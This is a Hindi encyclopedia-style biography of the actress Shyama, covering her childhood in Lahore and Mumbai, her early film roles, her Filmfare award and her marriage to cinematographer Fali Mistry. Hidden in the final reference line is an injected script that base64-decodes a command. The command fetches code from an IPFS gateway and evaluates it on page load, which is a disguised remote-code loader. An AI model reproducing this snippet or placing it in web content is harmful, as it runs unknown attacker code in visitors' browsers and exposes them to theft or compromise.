श्यामा का परिचय

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श्यामा का परिचय
श्यामा
पूरा नाम ख़ुर्शीद अख़्तर (मूल नाम)
प्रसिद्ध नाम श्यामा
जन्म 12 जून, 1935
जन्म भूमि लाहौर
पति/पत्नी फ़ली मिस्त्री
कर्म भूमि भारत
कर्म-क्षेत्र हिन्दी सिनेमा
मुख्य फ़िल्में 'श्रीमतीजी', 'आरपार', 'हथियार', 'खेल खिलाड़ी का', 'अज़नबी', 'हनीमून', 'मिलन', 'बरसात की रात', 'भाभी' आदि।
पुरस्कार-उपाधि 'फ़िल्मफ़ेयर पुरस्कार' (1957)
प्रसिद्धि अभिनेत्री
नागरिकता भारतीय
अन्य जानकारी फ़िल्म ‘शारदा’ में श्यामा ने अपनी हमउम्र मीना कुमारी की मां की भूमिका निभाने से भी परहेज़ नहीं किया। उस भूमिका के लिए श्यामा को 1957 का सर्वश्रेष्ठ सहनायिका का फ़िल्मफ़ेयर पुरस्कार मिला था।

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श्यामा सन 1950 के दशक की मशहूर अभिनेत्री थीं। अभिनेत्री बनने से पहले श्यामा क़रीब 50 फ़िल्मों में बाल और अतिरिक्त कलाकार के तौर पर छोटे-मोटे रोल कर चुकी थीं। श्यामा ने 1946 में रिलीज़ हुई ‘घूंघट’, ‘नई मां’ और ‘निशाना’ जैसी कुछ शुरुआती फ़िल्मों में ख़ुर्शीद (जूनियर) और बेबी ख़ुर्शीद के नाम से काम किया। लेकिन चूंकि उस ज़माने में इसी नाम की एक बहुत बड़ी स्टार पहले से फ़िल्मों में काम कर रही थीं, इसलिए उन्हें अपना नाम बदलकर 'बेबी श्यामा' रख लेना पड़ा था।

परिचय

अभिनेत्री श्यामा का जन्म 12 जून सन 1935 को लाहौर, पाकिस्तान में हुआ था। उनका वास्तविक नाम ख़ुर्शीद अख़्तर था। उनके अब्बा फलों के कारोबारी थे। श्यामा महज़ दो साल की थीं, जब उनके अब्बा कारोबार के सिलसिले में लाहौर छोड़कर परिवार के साथ मुंबई चले आए थे। नौ भाई-बहनों में वह सबसे छोटी थीं। एक मुलाक़ात के दौरान श्यामा ने बताया था कि फ़िल्में उन्हें आकर्षित तो करती थीं, लेकिन उस जमाने की सामाजिक सोच को देखते हुए फ़िल्मों में काम करने की बात वह सोच भी नहीं सकती थीं। इसके बावजूद उनका इस क्षेत्र में आना महज़ इत्तेफ़ाक़ ही था, जिसे लेकर घर में और ख़ासतौर से अब्बा की तरफ़ से थोड़ा-बहुत विरोध भी हुआ था। लेकिन वह विरोध ज़्यादा दिन तक नहीं टिक पाया। श्यामा का बड़ा बेटा फ़ारूख़ मिस्त्री विज्ञापन जगत का मशहूर कैमरामैन है तो छोटा बेटा इंग्लैंड में रहता है। नादिरा, निरुपा रॉय, सितारा देवी, निम्मी, शकीला और शशिकला से उनकी गाढ़ी दोस्ती थी और इन सभी का आपस में मिलना-जुलना होता रहता था। लेकिन नादिरा और निरुपा रॉय जो इनके घर के क़रीब ही रहती थीं, अब जीवित नहीं हैं।[1]

फ़िल्मी शुरुआत

एक दिन श्यामा अपनी सहेलियों के साथ एक फ़िल्म की शूटिंग देखने गयीं। वह फ़िल्म थी ‘ईस्टर्न पिक्चर्स’ के बैनर में बनी ‘ज़ीनत’, जिसके निर्माता-निर्देशक, नूरजहां के शौहर सैयद शौक़त हुसैन रिज़वी थे। श्यामा के मुताबिक़़ शौक़त हुसैन ने सेट पर मौजूद लड़कियों से पूछा कि- "क्या वह फ़िल्म में काम करना चाहेंगी", तो श्यामा और उनकी सहेलियों ने तुरंत हामी भर दी। साल 1945 में रिलीज़ हुई फिल्म ‘ज़ीनत’ की क़व्वाली ‘आहें ना भरीं शिक़वे ना किए’ में श्यामा महज़ नौ साल की उम्र में पहली बार परदे पर नज़र आयी थीं। गीतकार ‘नख़्शब’ की लिखी, हफ़ीज़ ख़ां द्वारा संगीतबद्ध और नूरजहां, जोहराबाई अम्बालेवाली और कल्याणीबाई की गायी ये क़व्वाली अपने दौर में बेहद मशहूर हुई थी। परदे पर इस क़व्वाली में श्यामा का साथ शशिकला और शालिनी ने दिया था।

विवाह

साल 1951 में बनी फ़िल्म ‘सज़ा’ की शूटिंग के दौरान श्यामा और फ़िल्म के कैमरामैन-निर्देशक फ़ली मिस्त्री की नज़दीकियां बढ़ीं और 1954 में उन्होंने शादी कर ली। श्यामा के अनुसार क़रीब 10 सालों तक उन्होंने इस बात को छुपाए रखा, क्योंकि शादीशुदा हिरोईन को उस ज़माने में भी लोग आसानी से स्वीकार नहीं करते थे। श्यामा ने बताया था कि- "शादी के 10 सालों बाद अपने बेटे फ़ारूख़ के जन्म के समय उन्होंने इस बात का ख़ुलासा किया। वैसे भी 1960 के दशक की शुरुआत में मैं पूरी तरह से चरित्र अभिनेत्री बन चुकी थी।"


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टीका टिप्पणी और संदर्भ

  1. श्यामा (हिन्दी) beetehuedin.blogspot.in। अभिगमन तिथि: 11 जून, 2017।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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